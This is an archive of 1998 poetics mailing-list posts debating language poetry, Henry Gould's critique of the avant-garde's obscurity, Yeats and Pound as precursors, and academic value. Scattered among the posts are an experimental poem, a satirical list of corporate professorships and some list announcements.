We lesser mortals are, of course, stuck with local sponsors -- I teach in a little-league style uniform that says "Hoagie Hut" across the back.

Bob

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72. Michael Franco
Re: - Henry Gould
Mon 3 Aug 1998

In a message dated 98-08-03 00:04:01 EDT, you write:

<< In the NY Times Bk review today there . . .The whole counter-tradition, which this list supports & represents, was again invisible.

Henry it strikes me that so long as your looking to the NYT BK Review for authentication you are going to feel that poetry is at a dead end. . .

re Pinsky... he writes what he writes -his view- which I do not necessarily share . . . but having worked with him a bit editing poetry submissions... there are few people that I know that are as clean in their approach to each poem as he is> He always took the submission on its terms -not his- & in ways that far exceeded those of the other panel members -myself included- who all had an agenda of what poetry they thought most vital for the mag.

Kent is quite right in his brief assessment & i would add that if you address yourself to fools & people out there scrambling to make money [cf TNYTBR] (as opposed to addressing those trying to release something in/from Language ... (a continual search... & a real tradition -not a trend-) you will have to suffer the discourse that they are willing to have ie what # are the best seller list are you???

all best
Michael Franco

↑ Index

73. henry
Re: - Henry Gould
Mon 3 Aug 1998

On Mon, 3 Aug 1998 11:42:57 EDT Michael Franco said:
>
>Henry it strikes me that so long as your looking to the NYT BK Review for
>authentication you are going to feel that poetry is at a dead end. . .
>
>re Pinsky... he writes what he writes -his view- which I do not necessarily
>share
>. . . but having worked with him a bit editing poetry submissions... there are
>few people that I know that are as clean in their approach to each poem as he
>is> He always took the submission on its terms -not his- & in ways that far
>exceeded those of the other panel members -myself included- who all had an
>agenda of what poetry they thought most vital for the mag.

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>Kent is quite right in his brief assessment & i would add that if you address
>yourself to fools & people out there scrambling to make money [cf TNYTBR]
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>opposed to addressing those trying to release something in/from Language ...
>(a continual search... & a real tradition -not a trend-) you will have to
>suffer the discourse that they are willing to have ie what # are the best
>seller list are you???

I wasn't quoting Pinsky to criticize him, rather to suggest that some of the ideas in "Situation of Poetry" still make sense. There are a lot of ways to deal with the myopia of mainstream press about poetry. Most of them have been tried here on the list - jeremiads, dismissals, conspiracy theories, histories of the culture wars... In the criticism of my posts lately I haven't heard anybody try to refute specifically what I've been trying to say: that "marginalized" counter-traditions are responsible to some degree for their invisibility, because the disjunctive traditions they espouse are difficulty- and obscurity-generators. I'm not saying this is bad, either. I'm not saying poetry has to be the fountainhead of public oratory. I'm only saying, Yeats had a different tradition which is not necessarily reactionary and is not necessarily dead. - Henry Gould

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74. J. Pecqueur
computer generated text (fwd)
Mon 3 Aug 1998

I remember this thread spinning out recently as I was struggling with Mina Loy's idea of a monopattern--Is it patterned or is it solid? Could anyone with a more tightly wound knowledge backchannel me some site info I could pass along to a fellow worker.

Garcias

Jean-Paul

---------- Forwarded message ----------
Date: Sun, 02 Aug 1998 20:23:05 PDT
From: Jason Whitmarsh <[redacted]>
To: [redacted]
Subject: computer generated text

JP:

You know of any website where I can get the Travesty (or equivalent) program for f...ing with, computer-wise, my writing? I looked through EPC and couldn't find much.

J.

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75. Peter Balestrieri

More about "Oh Henry" and the Yeats/Pound split

Mon 3 Aug 1998

On August 1st, Henry Gould wrote: Why should I join the other cheer-leaders on this list? Why not question some of their assumptions? The fact is I think American poetry is at a sort of dead end. I know this sounds crabby & unpleasant to all the delightful poets & readers on the list. In the NY Times Bk review today there was another "mainstream" overview of the poetry situation. the author talked about the East European poets, Milosz in particular, & how they provided a counter- example of a less egocentric "confessional" poetry prevalent for so long in the US. Pinsky's book "Situation of Poetry" was cited again for its call for clear speech & narrative poetry. The whole counter-tradition, which this list supports & represents, was again invisible. Why? Oh, because of the evil capitalist market system & the establishment networks blah blah... nobody wants to consider the notion that this counter-tradition might itself be bankrupt, in part for the very reason I mentioned: the tearing apart of syntax for the sake of innovation; the use of isolated vocabulary as a kind of aesthetic private property (eg. "language poetry" - take it out of the dictionary & it's yours) as opposed to the concept of language as a whole function of "public" communication. I know the intent was to critique another style of appropriation; but appropriation is appropriation & academic enclaves are academic enclaves. - Henry Gould

Henry, I'm trying to follow your argument and I'm wondering if you'd be willing to clarify what you mean by "...the intent was to critique another style of appropriation..." Who was doing the critiquing and what style of appropriation are you referring to? I think you've raised something important here and I want to be able to better understand what you're saying. Did you mean that Langpo was critiquing capitalist "appropriation" but only replaced it with another form of appropriation, aesthetic rather than economic? Or am I way off?

Peter

↑ Index

76. henry
Re: More about "Oh Henry" and the Yeats/Pound split
Mon 3 Aug 1998

On Mon, 3 Aug 1998 10:03:15 -0700 Peter Balestrieri said:
>
> Henry, I'm trying to follow your argument and I'm wondering if you'd
> be willing to clarify what you mean by "...the intent was to critique
> another style of appropriation..." Who was doing the critiquing and
> what style of appropriation are you referring to? I think you've
> raised something important here and I want to be able to better
> understand what you're saying. Did you mean that Langpo was critiquing
> capitalist "appropriation" but only replaced it with another form of
> appropriation, aesthetic rather than economic? Or am I way off?

I think Langpo - hit me, real langpoets out there - was trying to write against the appropriation of poetry by 70s MFA "self" factories, and against the appropriation of literary space by "privacy capital" of all kinds. Their strategy was a drastic one: basically to dynamite the rhetorical/communicative function, the authorial function, and so on by letting "language" - individual words, non-sequiturs, broken syntax & rhetoric - speak (often comically) for itself. I'm suggesting this was a kind of unwitting creation of a new kind of private property - sort of prospecting the dictionary. - Henry G.

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77. Mark Prejsnar
Re: My Definition of 1975
Mon 3 Aug 1998

Er, well, Charles, no as a matter of fact....no "particular" reason.

But the early gathering of the Lang clusters, would have been over the previous 4 or 5 years. ("This" began in 1971, right?) By 1975, the infamous "L" designation (which has outlived its usefulness, and now resides in the hands of curmudgeonly retro-ists like our Henry) had not yet arisen; but it was fairly clear that various strains were around that did not fit into the old mutiple New American paradigm of rebel poetries (Black Mt., beat, NY, etc.)...Through the agency of This and other venues, newer things had been appearing in print for long enuff to start a sense of unfamiliar idioms emerging..

Maybe i was thinking of the fact that 1975 was the date of Watten's wonderful book, Opera-Works, one of the first things i saw in that vein.

..Mark

On Sun, 2 Aug 1998, Charles Alexander wrote:

> *In large part, in the "wars" (as someone has just called 'em) that have raged since 1975 around experimental poetries, it is mostly the academics who've championed neo-babbitism, the non-academics who've been focused on the real issues...*
>
> *just a note -- I'm interested in your dating these wars as "since 1975," particularly as I remember a poet grad student at U-Wisconsin, but from Texas, in the early '80's, who at the time it seemed was being groomed by Wisc. poet Ron Wallace. When arguing with this poet about these very experimental/academic issues, his take on it at the time was that these wars had been fought quite a few years before, and the "experimentalists" had lost, so why are we talking about these things any more?*
>
> *Yes, talk about a failure to communicate . . .*
>
> *but seriously -- any particular reason why 1975 sticks out to you as the beginning of these raging wars?*
>
> *charles*
>
> *charles alexander :: poet and book artist :: [redacted]*
> *chax press :: alexander writing/design/publishing*
> *books by artists' hands :: web sites built with care and vision*
> *http://alexwritdespub.com/chax :: http://alexwritdespub.com*

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78. **Linda Russo**

Re: My Definition of Academic

Mon 3 Aug 1998

I'm really enjoying the epic that's opening up before me here, another angle (personal testimony) of the struggles apparent in the mimeo revolution publications and its aftermath.

I'm bemused, though, by the "war" analogy (as I was by the "anthology wars"). Certainly in constructing new structures poets, editors & academix wage "ideological wars" in their own minds & in their own "camps." But is it really an appropriate analogy?

In the case of censorship, where, for example, the editors of the Chicago Review probably "battled" with the administration before quitting & starting Big Table - a sort of second-wave mimeo revolution, and certainly a "turning" as the term suggests, the analogy seems appropriate.

Are there other particular (cross-camp) cites/battles to support a more general application? When one asserts a position or "claims a territory" that is yet unclaimed (being a sort of virtual territory -- publishing a little mag doesn't necessarily take territory "away" from other such publications) and there is no "battle," why is it a "war"?

thx. Linda Russo

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79. Charles Alexander

Re: More about "Oh Henry" and the Yeats/Pound split

Mon 3 Aug 1998

> *I think Langpo - hit me, real langpoets out there - was trying to write against the appropriation of poetry by 70s MFA "self" factories, and against the appropriation of literary space by "privacy capital" of all kinds. Their strategy was a drastic one: basically to dynamite the rhetorical/communicative function, the authorial function, and so on by letting "language" - individual words, non-sequiturs, broken syntax & rhetoric - speak (often comically) for itself. I'm suggesting this was a kind of unwitting creation of a new kind of private property - sort of prospecting the dictionary. - Henry G.*

Except that this appropriation was enacted with a sense of language as noone's property, and, in fact, in direct dispute with the presentation by a more narrative poetics of private experience as primary content for poetry, and a spelling out, for example in Rae Armantrout's wonderful review of the Morrow Anthology in Poetics Journal, that there are consistent themes/formulas (and some rather dangerous ones at that) in those supposedly individual experiential voice-poems which made up that anthology and more. So that (leap with me here) the lang experiments were a kind of freedom from ownership, freedom from language (more or less restricted in many ways) as capital in poetry. Freeing "language itself" from "language as mine (the poet's and a certain invited-to-overhear audience)."

Whether this was successful or not is a big issue -- but did it create what you call, Henry, "a new kind of private property?" It does seem to have created a broad range of strategies for poetry which can now be used, and maybe can only be used, without the kind of "dynamiting" function of which you speak. And, if robbed of that, then also robbed of a good deal of the political import. Still, though, the gap between subject and what is enunciated, is a real gap which still engenders real exploration. The work is not only political, but psychological, cultural -- and to my mind, is still allowing new and engaging explorations.

I don't give credit to their "difficulty" as the agent which separates such poems from a wider audience. That seems too easy to me, and goes against things I've learned in teaching, where much more so-called 'conventional' poems are seen as equally difficult by a good many students. There are a lot of things working in our culture against anyone reading any poetry at all, whether it be W.B. Yeats or Bruce Andrews. What brings more to the former than to the latter has a lot to do with how we are taught to read poetry, and what poetry we are encouraged to read by teachers, publishing industry, bookstores, etc. By the age of 7 or 8, according to my direct experience teaching workshops in elementary schools, half or more of the students already think poems are supposed to rhyme. Perhaps such ideas are formed much earlier, from nursery rhymes and early children's books. So, are any of us ready to revamp the entire human curriculum (not just inside the classroom) from birth? -- we may be ready and know it's necessary -- but how to do it???

I also think it's wrong, though, to see langpo as "the" alternative here. I think it is one part of a broad range of innovative practices, which to me still includes ideas from the various poetics included in the Allen Anthology (Black Mtn, Beat, NY School, Deep Image, and more), from specifically feminist poetics, from sound poetry, visual poetry, and much more -- and by no means is all of this work "difficult" in ways which should keep anybody away.

I rather like prospecting the dictionary.

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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80. Henry
Re: More about "Oh Henry" and the Yeats/Pound split
Mon 3 Aug 1998

Charles's post makes a lot of sense throughout. Still, I would ask how you differentiate a poetry that makes stereotyped lyric moments part of the private property of the self, and a poetry that prospects out its own private range, complete with anthologies, exegetes & explainers. Nor am I restricting this question to "language poetry" - I'm talking about the anthologized "postmodern moment". I'm suggesting its difficulty is one of its attributes or properties which provides it with academic exchange value. For a long time on this list I have been promoting another kind of difficulty - as something layered within a synthetic, communicable "prose" speech that can rise to poetry. - HG

↑ Index

81. KENT JOHNSON
Re: Oh Henry
Mon 3 Aug 1998

On 2 August, Henry Gould wrote:

> *nobody wants to consider the notion that this counter-tradition might itself be bankrupt, in part for the very reason I mentioned: the tearing apart of syntax for the sake of innovation; the use of isolated vocabulary as a kind of aesthetic private property (eg. "language poetry"- take it out of the dictionary & it's yours) as opposed to the concept of language as a whole function of "public" communication.*

I'm curious, why so few responses? Henry's comment above is very provocative. And it comes from a fellow who really does read and is clearly no lightweight in the head. Here we are getting at what the World War of Poetry is all about, no?

Bernstein, Silliman, Perloff, Rothenberg and Joris (so much for your anthology, according to Henry, apparently), Bromige, Quartermain, etc. (and also everyone involved in the Alternativve Poetries Conference in Boston and young turks of the New (American) Poetry anthology): There is a pillbox to take! How many more comrades will die, shredded on the beach, before you respond? Are you really just a crew of aphasic, Scrabble-playing ninnies as Henry seems to claim?

(And Henry, sincerely curious, what _do_ you think of the Poems for the Millennium anthology? Most of that just grabbing from the dictionary too? If there is work there you think is worthy, what is it?)

Kent

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82. Mark DuCharme
another Listee succumbs
Mon 3 Aug 1998

from Carmilla 2000

CHAPTER II

Prosecuting which to lose
An hour is possibly
Return
Three months is whispered

Distant daughter, considerable pend
Her journey. The horses were tractable
The lady threw affectionate quite as one might beckoned

I was filed. Stern
Countenance
A little benediction spinning

Then hastily kissing her liveries
Cracked
Whips, the horses
Plunged
& Broke suddenly
Following, at the same rapid horsemen
Cortège our eyes were hoofs this very air
Illusion moment— but the young

Raised her tenderly
Ask
This carriage hurt
Converse
With possibly overpower I thought
My father in the meantime sent

Drawing room longation
Large Utrecht velvet leanings
He insisted with our coffee
Hardly store

Set teeth to fury!
Ill-
Looking band of men
I beheld in life my clever rogues
I am very curious

Passed velvet interview

It was pretty even

Dimpling cheeks were now delightfully
Vein-- which hospitality spoke
& Took her as I spoke

She answered my welcome with her vision
"I must tell you my vision":

*In the land before
Assaulted & defrayed the firebrands

These villagers weren't used to sing
Quiescently. Swallowing her voice
& All manner of companions*

Her Habits-- A Saunter
W/ something of gold. I loved to let it
Back in her chair

By comparison, the archduke was plum;
To foil & braid it

One girl a syllable can endure
Any mortal breathing--

((*.* = strikethrough, _._ = italics))

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83. Susan Wheeler
Re: Oh Henry!
Mon 3 Aug 1998

Trying to read through today's posts while sitting on my hands knowing what else I should be doing, but no go. Just a SMALL response --

Henry wrote >to narrow the range; just a means of once again raising the possibility
>that "innovative" poetry & experiment might be organized on a whole
>different set of paradigms.

Does anyone on this list, in their heart of hearts, not WANT this if it indeed means paradigms that are not arbitrarily territorial? And if I believe with Charles Alexander that the learning begins with the young'ins do we really expect their weary public school reading teachers to look for clues and fodder in Poetics Journal before they try the NYT Book Review (why NOT know what's on that ticker, appalling as it be, as well as on other tickers)? Why NOT expect "literary literacy" to include Bayley -- off-base though he be on poetry, not his forte and ill-chosen clearly by NYRB -- along with Pound -- god love 'im off-base on a people?

My own work may play as more "conservative" than much on this list (yes one of my poems was a Hollander selectee) but I'll freely admit I have not the courage of some of you in accepting the colors and wielding the weapons. To me, this territory war seems to me like the tiniest subset of larger cultural and economic dynamics, and I choose cowardice and selfishness in pretending that I

can ignore categories in order to write with a greater sense of freedom, even if it be self-illusory -- instead of using up this energy in sandbagging the brittle dams the waves are toppling anyway. Or so I think when I feel called to justify.

Got to clam up or I'll never finish this book (prose). Sorry to not engage further.

Susan Wheeler
[redacted]
voice/fax [redacted]

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84. Robert Corbett
Re: - Henry Gould
Mon 3 Aug 1998

Yeats is inappropriate in some ways as pole star for a "synthetic" tradition of poetry, because of his long engagement with Blake and the fact that an elaborate, "archetypal" system underlies all his seemingly lucid lyricism. One of the most important Yeats' critics, Hazard Adams, claims that all of his work is of a piece, and poems inevitably take on different meanings when referred back to his system. Yeats' strategies were not "disjunctive" as such, and he created a system that aspired to totalization, but nevertheless, there is an esoteric, some would say, obscurantist, aspect to his work that makes it resonate much with Ron Silliman's work as it does with Robert Hass's.

In terms of a modest, synthetic style, the precursor I would put here is Auden. And of course Auden estranged his vocabulary with the use of jargon words as well occasionally awkward musics.

Finally, Yeats rediscovered Blake for the 20th century, whom Eliot claimed wrote outside of tradition in his own esoteric vocabulary. Vendler might say the same thing. Of course, Blake is the perhaps the most "webbed" romantic poet there. History has made nonsense of Eliot's criticism, and given comfort to many unregarded poet--perhaps too much. This is not to say that mystical Yeats is the only Yeats or even that one has to read a Vision in order to understand Yeats' great political poems (let me add that it is offensive to me to stereotype Yeats as a fascist pure and simple when his politics are much more complex). It does suggest that there usually more than two sides to great poets. It also suggests a more complex "situating" of elite and popular poetries, along the lines of the rationale for parables in christian discourse: those in the know will understand the kernel of meaning around which the germ (often the rather obvious moral) is wrapped.

As far as modest, narrative, historical poetry, I can suggest two candidates, one facetiously and one not. Michael Lind (a student of Frederick Turner, though not really a "professional poet") has written a narrative poem about the fall of the Alamo, which by many accounts sinks under the bathos of sentiment and the banality of verse. Out here in Seattle, we have an interesting poet, Jana Harris, who has written a long poem (really a series of poems) about the settling of the Northwest. Of course, Lind, because of his New Republic and political connections (his a neo-con who has turned against neo-cons), has gotten a lot more publicity.

I wonder where would bp nichol fall in this (perhaps by now discarded) distinction? perhaps as a run-up to the coming conference we could start a nicholian thread?

unravellingly yours
Robert

On Mon, 3 Aug 1998, henry wrote:

> *On Mon, 3 Aug 1998 11:42:57 EDT Michael Franco said:*
>
> *Henry it strikes me that so long as your looking to the NYT BK Review for authentication you are going to feel that poetry is at a dead end. . .*
>
> *re Pinsky... he writes what he writes -his view- which I do not necessarily share*
> *. . . but having worked with him a bit editing poetry submissions... there are few people that I know that are as clean in their approach to each poem as he is> He always took the submission on its terms -not his- & in ways that far exceeded those of the other panel members -myself included- who all had an agenda of what poetry they thought most vital for the mag.*
>
> *Kent is quite right in his brief assessment & i would add that if you address yourself to fools & people out there scrambling to make money [cf TNYTBR] (as opposed to addressing those trying to release something in/from Language ... (a continual search... & a real tradition -not a trend-) you will have to suffer the discourse that they are willing to have ie what # are the best seller list are you???*
>
> *I wasn't quoting Pinsky to criticize him, rather to suggest that some of the ideas in "Situation of Poetry" still make sense.*
> *There are a lot of ways to deal with the myopia of mainstream press about poetry. Most of them have been tried here on the list - jeremiads, dismissals, conspiracy theories, histories of the culture wars...*
> *In the criticism of my posts lately I haven't heard anybody try to refute specifically what I've been trying to say: that "marginalized" counter-traditions are responsible to some degree for their invisibility, because the disjunctive traditions they espouse are difficulty- and*

> *obscurity-generators. I'm not saying this is bad, either. I'm not saying poetry has to be the fountainhead of public oratory. I'm only saying, Yeats had a different tradition which is not necessarily reactionary and is not necessarily dead. - Henry Gould*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

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85. **Charles Alexander**

Re: More about "Oh Henry" and the Yeats/Pound split

Mon 3 Aug 1998

Henry, I would certainly grant you the point that "difficulty" gives a lot of poetry, postmodern and otherwise, and a lot of music and art and science and mathematics, a certain "academic exchange value." I think a lot of people in the academy who study poetry want a challenge. I want a challenge, too, as a reader. But you speak of this difficulty as though it is something consciously just layered on, as if poets are saying, "oh we'd better make these works difficult," rather than respecting their various projects as inherently involving and leading them into ideas and intermeshings of language with ideas, that are themselves quite difficult at times -- although not, I think, all the time. Whereas you seem to be espousing a "kind of difficulty" which is entirely involved with the content of what is said, and not the form, if what you want is really this "communicable prose" speech that you put forward. There is such work I admire, but I certainly don't think it any more worthy than work whose intellectual/emotional difficulty crawls right into the craggy juxtaposition of phonemes and morphemes, the gaps between one enunciation and another.

As for "rising" to poetry, though -- I have trouble with that metaphor, as I don't necessarily see poetry as occupying a higher ground than prose, or scientific writing, or mathematics, or any other such endeavor.

And I guess I do differentiate "stereotyped lyric moment" poetry from what you term as "poetry that prospects out its" language, content, and form. You seem to want to link the two on the shared plateau of privacy. Yet in the one, you admit that privacy is a matter of the idea of self and its transcendence (perhaps) through those lyric moments, whereas in the other you argue that the privacy comes from what you see as "difficulty." I think, even for those who might agree with you that both achieve a kind of privacy (and I don't think I'm one of those), it would be evident that they are entirely different kinds of privacy won in entirely different ways. And I certainly see it as fine to value one over the other.

charles

At 02:21 PM 8/3/98 EDT, you wrote:
>Charles's post makes a lot of sense throughout. Still, I would ask how you
>differentiate a poetry that makes stereotyped lyric moments part of the
>private property of the self, and a poetry that prospects out its own
>private range, complete with anthologies, exegetes & explainers. Nor am
>I restricting this question to "language poetry" - I'm talking about
>the anthologized "postmodern moment". I'm suggesting its difficulty is
>one of its attributes or properties which provides it with academic
>exchange value. For a long time on this list I have been promoting another
>kind of difficulty - as something layered within a synthetic, communicable
>"prose" speech that can rise to poetry.
>- HG
>
>
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86. MAYHEW
More on Yeats
Mon 3 Aug 1998

I think Robert Corbett's last post said, much more eloquently than I did, what I had meant to say about Yeats--his sort of bizarre occultish side making him the precursor of people like Duncan. A thought experiment--what if Yeats had been neglected for years and suddenly been discovered as a cult figure, not associated with any sort of official modernism at all?

A question for Mr. Gould: what contemporary American poets represent the legacy of Yeats as he understands it?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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87. Douglas Oliver
Re: Other
Mon 3 Aug 1998

Excuse personal message to Jack Kimball, but he may be looking for this message on the Poetics List. Jack, I've back-channelled the list of "Other" Brit poet names you requested to the miyazaki mailing address.

Doug

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88. Michael Magee
Re: Oh Henry
Mon 3 Aug 1998

"God bless henry" for asking tough questions - but I have to say I think he's completely wrong here, both about the motives behind experimental writing and the state of American poetry: so 1) as for the state of Am Po, I think its quite alive and well, thank you. Henry, do you know how many people read Williams *Spring and All* when it came out - well, the thing did not sit in the window of a Barnes & Noble - we're talking a handful of people in the Village (the "Others" crowd) and a few other like-minded souls. It's that retrospective vision which kills - eg, "jeez, no one seems to be as celebrated as Williams" (or Whitman, Wordsworth, ...). Of course, we're not the print culture we once were, & as far as I'm concerned that's great - I love TV, films, visual arts, jazz, hip-hop (and look at me, mom, I'm still writing!). As for the argument that the good stuff is abroad, well, hell, that's the oldest one in the book - I love much international poetry (I'm publishing the wonderful avant-garde Russian poet Lev Rubenstein in the next COMBO), but rhetorically, I think the celebration of such often depends on an old "great poems are written in times of war and strife" mentality which, frankly, makes me squeemish. And as for the NYT Book Review and its ilk, there a big bore - but more than this, they're not very important - the suggestion that they are Foucaultian wielders of clout doesn't hold water anymore, I think - I think I'm fairly representative of intellectuals of my generation and I hardly ever touch it. Likewise with the writers they promote - Pinsky may get around with NYT types in midtwon Manhattan but I have never - never - heard of his books being taught in five years at Penn - in contrast I've taught Hejinian, Silliman, Perelman, Bernstein and their friends to hundreds of students - who, I might add, dug their poems a whole lot. I say this only because I believe we need to be disabused of the idea we've all somehow run out of gas: for me, to take that attitude is to make the fatal mistake which Foucault was always on the verge of making: confusing one's personal struggle with the universal state of things.

So, 2) there are GOOD REASONS for writing experimentally that have NOTHING TO DO with an "innovation for innovation's sake" position: rather, in Am Po, one can follow a tradition from Emerson & Wm James to DuBois, Stein, Dewey, Williams, Burke (all in one way or another students of James) to to the New American Poetry generally, which invests in an experimental methodology precisely BECAUSE they believe that langauge is "a function of public communication." That is, they see language as symbolic action and they believe that experiment/innovation has a symbolically active set of points to make. Some of these writers are radical democrats trying to make language/syntax function more democratically on the level of symbolic action; others have Marxist predilections and are in the general area of Jameson (a serious student of Burke) in their considerations of symbolic action (particularly as Jameson works in The POlitical Unconscious).

My point here is that these writers are damn serious and *not* self-indulgent in their pursuits (that is, not any more self-indulgent than we all are on a day to day basis). You may think this is bullshit bu I'll take the philosophical (and social) rigor of James or Burke (or Cornel West, or Nate Mackey) any day. So viva poetry!!! -m.

According
to KENT JOHNSON: > > On 2 August, Henry Gould wrote:
> > >nobody wants to consider the notion that this counter-tradition
> >might itself be bankrupt, in part for the very reason I mentioned:
> >the tearing apart of syntax for the sake of innovation; the use of
> >isolated vocabulary as a kind of aesthetic private property (eg.
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> >opposed to the concept of language as a whole function of "public"
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> I'm curious, why so few responses? Henry's comment above is very
> provocative. And it comes from a fellow who really does read
> and is clearly no lightweight in the head. Here we are getting at
> what the World War of Poetry is all about, no?
>
> Bernstein, Silliman, Perloff, Rothenberg and Joris (so much for your
> anthology, according to Henry, apparently), Bromige, Quartermain,
> etc. (and also everyone involved in the Alternativve Poetries
> Conference in Boston and young turks of the New (American) Poetry
> anthology): There is a pillbox to take! How many more comrades will
> die, shredded on the beach, before you respond? Are you really just
> a crew of aphasic, Scrabble-playing ninnies as Henry seems to
> claim?

>
> (And Henry, sincerely curious, what _do_ you think of the Poems for
> the Millennium anthology? Most of that just grabbing from the
> dictionary too? If there is work there you think is worthy, what is
> it?)
>
> Kent
>

↑ Index

89. **henry**

Re: More about "Oh Henry" and the Yeats/Pound split

Mon 3 Aug 1998

On Mon, 3 Aug 1998 11:55:33 -0700 Charles Alexander said:
 Whereas you seem to be
>espousing a "kind of difficulty" which is entirely involved with the
>content of what is said, and not the form, if what you want is really this
>"communicable prose" speech that you put forward. There is such work I
>admire, but I certainly don't think it any more worthy than work whose
>intellectual/emotional difficulty crawls right into the craggy
>juxtaposition of phonemes and morphemes, the gaps between one enunciation
>and another.

The kind of difficulty I espouse is very close to what R. Corbett described regarding Yeats: layers of meaning steeped into a kind of forthright, singing syntax. This is what I find in the Russians too, Mandelstam & Akhmatova in particular. Ars est celare artem = art is to hide art. Kent, there's nobody in the pillbox; Jonathan, I don't read much contemporary work; I read stuff I need for my own writing. If Vallejo, Mandelstam, Celan, Akhmatova, Dickinson, Yeats are in the Millennium anthology, they are some of my favorites, good. I've been reading Portuguese Cape Verdean popular poems for a project I'm working on; I've been reading Under the Volcano by Malcolm Lowry because his anti-hero Geoffrey Firmin, like me, identifies with William Blackstone. Susan, sorry the wars cause headaches; my strategy is to hammer away at people so they figure out how to read my stuff if it ever gets published. Plus I like the idea of something after postmodernism. Aside: there was a CD not long ago of Yeats poems performed by various Irish pop music groups. - Henry Gould

↑ Index

90. David Kellogg

Academic exchange value

Mon 3 Aug 1998

No matter who you're talking about, the "academic exhange value" of any contemporary poetry is assumed to lie in its ability to be _promoted_ in the critical essay or review. Whether you're writing on John Hollander or Charles Bernstein, Amy Clampitt or Susan Howe, academic value is wrenched out of poetry as a relentless critical project. Pick your own favorite essay on a poet and see if it matches this rough structure:

1. Most contemporary poetry is [moribund, pathetic, too academic, not academic enough, too trendy, not trendy enough, too much form, too much content]. [Pages of examples]

2. The work of [poet's name here], however, bucks this trend. As a result, [poet's name here]'s work has been ignored. Critics have hitherto been unable to deal with this poet's [intellect, emotion, epistemology, sexuality, bad attitude, vocabulary] and have written [poet's name here] out of the canon. I propose to correct this oversight.

3. [Pages of counter-examples from the work of the poet]

4. If only the world would pay attention to [poet's name here], we would all love poetry. Pity the world doesn't follow my shining example.

Now THERE'S a bankrupt tradition for you: yet it seems to be viable all over the place, certainly not restricted to any one wing of the academic critical establishment.

Cheers,
David

~~~
~~~

91. Alan Jennifer Sondheim
Re: Oh Henry
Mon 3 Aug 1998

Sometimes you write experimentally because we're at the portal of another millennium different technology cyborg phenomenology writing in the skull with unforeseen mediations and to repeat writing is sewing the whirlwind with useless thread

Alan

↑ Index

92. Robert Corbett
Re: My Definition of Academic
Mon 3 Aug 1998

> *For a few years, when David Wilke was the head of the NEA lit division, it looked*
> *like that at least part of that might change, but, alas! Reagan,etc. (Even corporate*
> *sponsorship is likely less treacherous than government sponsorship...).*
>
> *Don*

The last phrase is a bit cryptic for me. Is there that much corporate sponsorship of writing program (or language poetry, for that matter)?

Robert Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

93. Aldon Nielsen
In which will be found what is set forth therein
Mon 3 Aug 1998

) sorry to bother everybody about this, but -- the computer gremlins here at LMU threw out the saved baby emails along with the crashed bathwater, so I need to ask --

Will whoever it was that asked me about writing about Rae Armantrout please get back in touch with me about the deadline --

& Who is it on the list who was trying to put together a collection of Dan Davidson's work?

Pvt. Ryan, by the way, appears to have far fewer verbal anachronisms in the dialoge than does the Lyne _Lolita_ -- Though Spielburg films all seem to boil down to getting ET home and directing lots of traffic (what made DUEL perhaps his best movie, though Sugarland Express has better acting)

↑ Index

94. Christian Roess

Re: More about "Oh Henry" and the Yeats/Pound split

Mon 3 Aug 1998

On Mon, 3 Aug 98 Henry Gould writes:

> *The Yeats/Pound thing is not an attempt*
> *to narrow the range; just a means of once again raising the possibility*
> *that "innovative" poetry & experiment might be organized on a whole*
> *different set of paradigms. I'm not saying that's not already happening...*

This discussion about 'paradigm' shifts has me examining again something I am just reading now in Gary Taylor's book and then comparing it to some remark by Octavio Paz in the 'Preface to his book ONE EARTH, FOUR OR FIVE WORLDS, which I first read a few weeks back.

For example,

From CULTURAL MEMORY by Gary Taylor:

"In his book _The Structure of Scientific Revolution_ , Thomas Kuhn argues that science does not 'progress' in the orderly, incremental way we usually assume; instead, scientific revolutions turn the established worldview on its head, replacing one paradigm with another. The new paradigm is not necessarily better; it is just different, so different that it cannot really be compared with the old paradigm, because there is no common standard of measurement that both paradigms would accept. Kuhn divides the history of science into brief periods of revolution, when paradigms shift, and much longer periods of normal science, when researchers investigate technical problems defined by the prevailing stable paradigm. We especially remember the revolutionary periods and the scientist associated with them because they generated an exceptionally large intellectual stimulus. . ...."

From Octavio Paz:

"Like the Mayas, who had two ways of measuring time, the 'short count' and the 'long count', French historians have introduced the distinction between 'long duration' and 'short duration' in historical processes. The first designates the broad rhythms that, through modifications that are imperceptible at first, alter old structures and create new ones, thus bringing gradual but irreversible social changes. Examples include increases and decreases in population, which

are still not entirely explained; the evolution of sciences and technologies; the discovery of new natural resources or their gradual exhaustion; the erosion of social institutions; the transformation of mentalities and sensibilities. . ."

" 'Short duration' is the domain par excellence of the event : falling empires, nascent States, revolutions, wars, presidents resigning, monica lewinsky, assassinated dictators, crucified prophets, sanctimonious crucifiers, ken starr, etc. [yes, I made a clever revision here]

History is often compared to a woven fabric, the work of many hands; without deciding on a pattern beforehand, and without knowing exactly what they are doing, these hands weave threads of every color together until a succession of figures, at once familiar and enigmatic, appears on the loom. From the point of view of 'short duration', the figures are not repeated : history is constant creation, novelty, the realm of the unique and singular. From the standpoint of 'long duration', repetitions, ruptures, and renewals can be perceived: rhythms. Both visions are true."

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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95. David Kellogg

Re: My Definition of Academic

Mon 3 Aug 1998

On Mon, 3 Aug 1998, Robert Corbett wrote:

> *The last phrase is a bit cryptic for me. Is there that much corporate sponsorship of writing program (or language poetry, for that matter)?*

Bob Perelman, Bud Lite Professor of English, University of Pennsylvania

Barrett Watten, General Motors Professor of American Studies, Wayne State U

Charles "Gordita" Bernstein, Taco Bell Chair of Poetry and Poetics, SUNY-Buffalo

"Poetry, by Ralph Lauren" reading series at the Hear Inn.

The 1998 Nike "Girls in the Game" tour (featuring Howe, Retallack, Scalapino and others reading simultaneously on three stages!)

Cheers,
David
~~~
~~~

[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

↑ Index

96. s. kaipa
Address Change/ Interlope
Mon 3 Aug 1998

Please note my new address!

Summi Kaipa & I n t e r l o p e magazine
103 S. Governor St., Apt. 1
Iowa City, IA 52240

My email and phone will not change:
[redacted]

Thanks!

↑ Index

